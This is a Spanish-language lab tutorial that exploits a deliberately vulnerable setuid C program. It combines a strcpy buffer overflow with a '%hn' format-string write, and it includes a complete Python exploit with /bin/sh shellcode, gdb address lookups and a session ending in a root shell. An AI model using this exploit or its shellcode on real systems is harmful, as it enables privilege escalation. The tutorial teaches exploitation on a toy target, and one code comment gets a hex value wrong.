ATAQUE FORMAT STRING RET2SHELLCODE 2 BYTES

Análisis del programa vulnerable FS1

Código Fuente

int main(int argv,char **argc) {
	short int zero=0;
	int *plen=(int*)malloc(sizeof(int));
	char buf[256];

	strcpy(buf,argc[1]);
	printf("%s%hn\n",buf,plen);
	while(zero);
}

¿Qué hace el programa?

El programa vulnerable copia en buf el primer parámetro ingresado por el usuario. Imprime por salida estándar el contenido de buf y guarda en plen la cantidad de bytes impresos. Si la variable zero se mantiene intacta el loop while(zero) no se ejecuta y el proceso finaliza.

user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o fs1 fs1.c
user@abos:~$ sudo chown root ./fs1; sudo chmod u+s ./fs1                      ; root owner & setuid

user@abos:~$ ./fs1 AAAAA
AAAAA
user@abos:~$ ./fs1 BBBBBBB
BBBBBBB

¿Cuál es la dificultad principal?

  • Si se sigue la estrategia de sobreescribir la dirección de retorno de main, de manera colateral se pisa el valor de zero provocando un loop infinito. Frente a esto el proceso nunca retorna y la reescritura de la dirección de retorno en la pila es inútil.

  • Es necesario pensar en un ataque combinado de desbordamiento de búfer y el aprovechamiento de una vulnerabilidad del tipo format string.

Layout de la pila antes del exploit:

[ebp-264]  = buf
[ebp-8]    = plen
[ebp-4]    = zero
[ebp]      = ebp anterior
[ebp+4]    = dirección de retorno

Ataque Format String:

La reescritura de la dirección de retorno de main a través de un desbodamiento de búfer -en la función strcpy- obliga a sobreescribir la variable zero (por su ubicación en la pila entre buf y la dirección de retorno). Para que el ataque funcione es necesario que main retorne y por ende que zero continúe siendo 0.

Consideraciones: no es plausible como solución sobreescribir zero con el valor numérico de 0000. Como el desbordamiento de bufer se logra a través strcpy, una función que manipula strings, si optamos por escribir en zero el string “0000” estaríamos almacenando en zero el código ascii: 0x30303030. Y por ende no lograríamos el objetivo de que el programa retorne.

Para solucionar este escollo es necesario combinar el ataque de desbordamiento de búfer con un ataque del tipo format string. Este ataque tomará dos pasos. Primero, aprovechar strcpy(buf,argc[1]) para inyectar el shellcode y sobreescribir la dirección de retorno de main() almacenada en la pila para que apunte a él. Y en un segundo paso, aprovechamos printf("%s%hn\n",buf,plen) para volver a zero = 0 de manera indirecta a través de plen, gracias a una vulnerabilidad del tipo format string. Paso a paso la estrategia será la siguiente:

Primera parte: aprovechando el código strcpy(buf,argc[1]):

  • Inyectamos el shellcode en buf.

  • Con un desbordamiento sobreescribimos plen para que apunte a zero.

  • Y sobreescribimos la dirección de retorno de main() para que apunte a buf.

Segunda parte: aprovechando printf("%s%hn\n",buf,plen):

  • Esta línea de código nos va a permitir escribir un valor arbitrario de no más de dos bytes en plen. Como se indicó previamente el parámetro %n escribe la cantidad de bytes impresos en la dirección especificada. Cuando se lo utiliza como %hn como en este caso (con una h de half como formato adicional de longitud) va a escribir la cantidad de caracteres impresos pero en un short de 2 bytes.

  • Gracias al desbordamiento de búfer previo, plen apunta a zero. El primer %s del format string va a imprimir el string en buf hasta llegar a un caracter nulo, si logramos que la extensión de ese string sea de 10000 en hexa -como %hn escribe sólo dos bytes- logramos escribir 0000 en plen (quedando descartado el 1 inicial de (1)0000). Entonces como plen apunta a zero si manipulamos adecuadamente la extensión de buf logramos el objetivo de que zero = 0 indirectamente a través de plen. Con ello evitamos el loop infinito del while(zero) y logramos que main retorne al código malicioso inyectado en el primer paso.

Para lograrlo llevamos a cabo los siguientes pasos.

  1. Identificamos la dirección de buf en gdb

    Consideraciones: como el argumento que le vamos a pasar a strcpy se almacena en la pila, su longitud afecta el cálculo de la dirección de buf. En este caso sabemos que la longitud total del argumento (es decir la cantidad de caracteres que va a imprimir printf) debe ser de 0x(1)0000 que en decimal es 65536. Por eso para conocer la dirección que tendrá buf debugeamos el programa con un argumento cualquiera pero de esa longitud.

    Armamos un archivo en Python para ingresar el input: exploit.py

    #! /usr/bin/env python
       
    import sys
       
    exploit = "A" * 65536                   # 0x1000 == 65536
       
    sys.stdout.write(exploit)

    Y ejecutamos el programa vulnerable con ese argumento para conocer la dirección de buf:

    $ ../r.sh gdb ./fs1
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    (gdb) break main
    (gdb) r "$(./exploit.py)"
    (gdb) break 6
    (gdb) c
    Continuing.
       
    Breakpoint 2, main (argv=3, argc=0xbffff814) at fs1.c:6
    6   strcpy(buf,argc[1]);
       
    (gdb) x/wx buf
    0xbffef680: 0x00000000

    La dirección de buf es entonces 0xbffef680.

  2. Planificamos el argumento de entrada

    • Inyectamos el shellcode en buf.

    • Hacemos que plen apunte a zero.

    • Escribimos basura en zero (porque vamos a pisar su valor).

    • Incluimos una dirección válida cualquiera en ebp.

    • Sobreescribimos la dirección de retorno para que apunte al shellcode.

    • Extendemos longitud del input para imprimir un total de (1)0000 bytes, cantidad almacenada en plen (que apuntará a zero).

  1. Con eso en mente editamos el archivo en Python con el argumento definitivo: exploit.py

    #! /usr/bin/env python
       
    import sys
    from struct import pack
       
    #pwn a shell
    shellcode  = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08"
    shellcode += "\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2"
    shellcode += "\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8"
    shellcode += "\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
    shellcode += "\x41\x42\x42\x42\x42\x43\x43\x43\x43"
       
    buf_size = 256
       
    buf_addr  = 0xbffef680
    zero_addr = buf_addr + buf_size + 4 + 2         #addr zero (4 bytes: int plen; 2 bytes: short int zero)
       
    exploit  = "\x90" * 80                          #nop sled
    exploit += shellcode                            #shellcode
    exploit += "\x42" * (256-80-len(shellcode))     #fill buf
    #total: 256 bytes
       
    exploit += pack("<I", zero_addr)                #plen -> &zero
    exploit += "AAAA"                               #basura en zero
    exploit += pack("<I", buf_addr)                 #basura -addr existente- en ebp
    exploit += pack("<I", buf_addr)                 #ret addr -> &shellcode
    #total: 16 bytes
    
    exploit += "B" * (65536-256-16)                 #%hn contabiliza 0x10000 o 65536 bytes (*plen = 0000)
    
    sys.stdout.write(exploit)
  2. Ejecutamos el exploit

    user@abos:~$ ../r.sh ./fs1 "$(./exploit.py)"
    
    BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
    # whoami
    root
    # id
    uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
    # 

Layout de la pila después del exploit:

Gráficamente logramos el siguiente resultado:

Última actualización